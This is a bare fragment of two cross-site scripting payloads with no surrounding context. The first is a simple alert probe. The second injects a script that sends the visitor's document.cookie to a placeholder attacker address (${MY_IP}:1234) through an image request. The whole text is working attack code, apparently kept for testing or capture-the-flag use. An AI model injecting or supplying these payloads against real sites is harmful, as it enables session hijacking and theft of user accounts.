<script>alert('1')</script> <script>(new Image()).src="http://${MY_IP}:1234/?cookie="+document.cookie;</script>